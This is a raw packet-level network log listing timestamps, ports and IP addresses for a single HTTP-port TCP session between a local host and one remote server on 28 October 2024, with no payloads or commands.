Oct 28, 2024 21:40:16.276309013 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.276335955 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.278088093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.278105021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.278114080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.278150082 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.278456926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.278474092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.278486013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.278508902 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.278528929 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.279489040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.279501915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.279544115 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.279825926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.292651892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.292696953 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.293206930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.293220997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.293272018 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.296804905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.296819925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.296875000 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.297096968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.297111034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.297121048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.297166109 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.300401926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.300415039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.300453901 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.300884962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.300896883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.300920963 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.304105043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.304116964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.304148912 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.304526091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.304579973 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.319015026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.319034100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.319046021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.319088936 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.320822954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.320835114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.320866108 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.322392941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.322406054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.322417021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.322437048 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.322459936 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.324744940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.324760914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.324771881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.324815035 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.325709105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.325740099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.325747013 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.328875065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.328888893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.328900099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.328918934 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.328941107 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.329518080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.329531908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.329543114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.329580069 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.332703114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.332715988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.332726955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.332739115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.332746983 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.332775116 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.334373951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.334388018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.334398985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.334414959 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.334439993 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.334800959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.334813118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.334824085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.334853888 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.335968018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.335980892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.336007118 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.336446047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.336460114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.336471081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.336483002 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.336508036 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.337202072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.337214947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.337224960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.337249994 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.337963104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.338001013 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.338929892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.340013981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.340025902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.340053082 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.340445042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.340457916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.340491056 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.342130899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.342143059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.342169046 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.342686892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.342731953 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.343425989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.343485117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.343529940 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.343703032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.343734026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.343750000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.343755007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.343803883 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.344501972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.344512939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.344523907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.344551086 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.345185995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.345225096 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.345563889 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.345576048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.345618010 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.346043110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.346054077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.346064091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.346085072 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.346617937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.346630096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.346654892 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.347620964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.347660065 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.376692057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.376751900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.376764059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.376791954 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.377748013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.377794027 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.377830982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.377844095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.377881050 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.378520012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.378532887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.378586054 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.379043102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.379054070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.379112959 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.379879951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.379892111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.379933119 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.380527973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.380541086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.380549908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.380589962 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.381218910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.381231070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.381258965 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.381947041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.381958961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.381968975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.381990910 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.381999969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.382024050 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.382728100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.382739067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.382750034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.382764101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.382765055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.382798910 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.383829117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.383841038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.383851051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.383867979 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.383894920 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.384484053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.384495974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.384506941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.384531975 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.385133982 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.385344982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.385358095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.385380030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.385382891 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.385390997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.385428905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.386513948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.386524916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.386535883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.386568069 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.386598110 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.387581110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.387593031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.387603998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.387643099 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.388722897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.388736963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.388748884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.388760090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.388768911 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.388812065 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.389832020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.389844894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.389854908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.389878035 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.389919043 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.390296936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.390314102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.390326023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.390351057 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.390609980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.390620947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.390631914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.390645027 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.390667915 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.391561031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.391572952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.391582966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.391596079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.391608000 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.391638041 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.392421007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.392432928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.392442942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.392487049 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.393273115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.393285036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.393296003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.393307924 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.393309116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.393351078 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.394057035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.394068003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.394078970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.394088984 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.394120932 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.394982100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.394994974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.395005941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.395050049 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.395987988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.395999908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.396009922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.396019936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.396029949 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.396034002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.396050930 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.396075964 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.396981955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.396994114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.397003889 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.397016048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.397037029 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.397061110 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.397701979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.397713900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.397749901 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.404128075 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.409914970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.410079002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.410089970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.410125971 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.410453081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.410465956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.410475969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.410487890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.410497904 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.410604000 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.411125898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.411135912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.411173105 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.411418915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.411432028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.411442995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.411464930 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.411495924 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.411864042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.412070036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.412084103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.412110090 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.413036108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.413048029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.413059950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.413074970 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.413098097 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.413280964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.413297892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.413312912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.413326025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.413347960 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.413386106 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.414243937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.414257050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.414267063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.414278984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.414288998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.414302111 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.414321899 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.414839983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.414855003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.414866924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.414877892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.414881945 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.414887905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.414908886 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.414938927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.416023016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.416034937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.416045904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.416081905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.416850090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.416862965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.416889906 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.417361975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.417376041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.417403936 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.417596102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.417608023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.417618990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.417630911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.417637110 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.417656898 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.418656111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.418675900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.418688059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.418698072 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.418730021 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.419250965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.419262886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.419272900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.419285059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.419296980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.419307947 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.419342041 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.419965029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.419976950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.419986963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.419998884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.420011044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.420011044 CET	49712	80	192.168.2.5	185.215.113.16
